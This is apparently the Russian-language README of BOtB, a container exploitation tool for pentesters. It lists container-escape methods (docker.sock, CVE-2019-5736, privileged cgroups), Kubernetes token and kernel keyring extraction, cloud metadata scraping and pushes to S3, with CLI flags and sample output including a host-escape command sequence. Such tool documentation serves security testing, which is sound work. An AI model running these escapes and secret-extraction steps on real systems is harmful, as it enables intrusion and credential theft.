Break out the Box (BOtB)

BOtB — это инструмент для анализа и эксплуатации контейнеров, предназначенный для пентестеров и инженеров, а также совместимый с CI/CD, работающий с распространёнными технологиями CI/CD.

Что он делает?

BOtB — это CLI-инструмент, который позволяет:

Эксплуатировать распространённые уязвимости контейнеров
Выполнять типичные действия по постэксплуатации контейнеров
Обеспечивать возможность работы, когда в контейнере отсутствуют определённые инструменты или бинарники
Использовать возможности BOtB вместе с CI/CD для тестирования развёртываний контейнеров
Выполнять вышеперечисленное как вручную, так и в автоматическом режиме

Текущие возможности

Выполнить побег из контейнера через открытые демоны Docker (docker.sock)
Выполнить побег из контейнера через CVE-2019-5736
Выполнить побег из привилегированного контейнера через включённые CAPS и SYSCALLS
Извлекать данные из связок ключей ядра Linux, злоупотребляя системным вызовом Keyctl через разрешённые профили seccomp
Определять секреты сервис-аккаунтов Kubernetes и пытаться их использовать
Обнаруживать конечные точки метаданных, например http://169.254.169.254, http://metadata.google.internal/ и http://100.100.100.200/
Собирать метаданные с конечных точек GCP
Анализировать и идентифицировать чувствительные строки в ENV и процессах в ProcFS, например /Proc/{pid}/Environ
Находить и идентифицировать UNIX-сокеты домена
Идентифицировать UNIX-сокеты домена, поддерживающие HTTP
Находить и идентифицировать Docker Daemon на UNIX-сокетах или интерфейсе
Перехватывать бинарники хоста с помощью пользовательской полезной нагрузки
Выполнять действия в режиме CI/CD и возвращать только коды завершения > 0
Отправлять данные в S3-бакет
Принудительно возвращать код завершения 0 (полезно для неблокирующего CI/CD)
Выполнять вышеперечисленное из аргументов CLI или из YAML-конфигурации
Выполнять обратный DNS-запрос

Установка

Бинарники

Инструкции по установке из бинарников доступны на странице релизов.

Через Go

go get github.com/brompwnie/botb

Сборка из исходного кода

Сборка BOtB через Go:

go build

Сборка BOtB через Make:

make

Использование

BOtB может быть скомпилирован в бинарник для целевой платформы и поддерживает следующее использование:

./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

BOtB также может загружать настройки из YAML-файла через параметр config:

#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

Следующие примеры использования по умолчанию возвращают код завершения > 0 при обнаружении аномалии, что показано через «echo $?», который отображает код завершения последней выполненной команды.

Идентификация и извлечение секретов из связок ключей ядра Linux, которые не были должным образом защищены

Дополнительная информация от оригинального автора здесь https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

Идентификация и проверка смонтированных секретов сервис-аккаунтов Kubernetes

#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

Побег из контейнера через открытый Docker Daemon

Этот подход позволяет выйти в интерактивный TTY на хосте.

#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #

botb

Популярное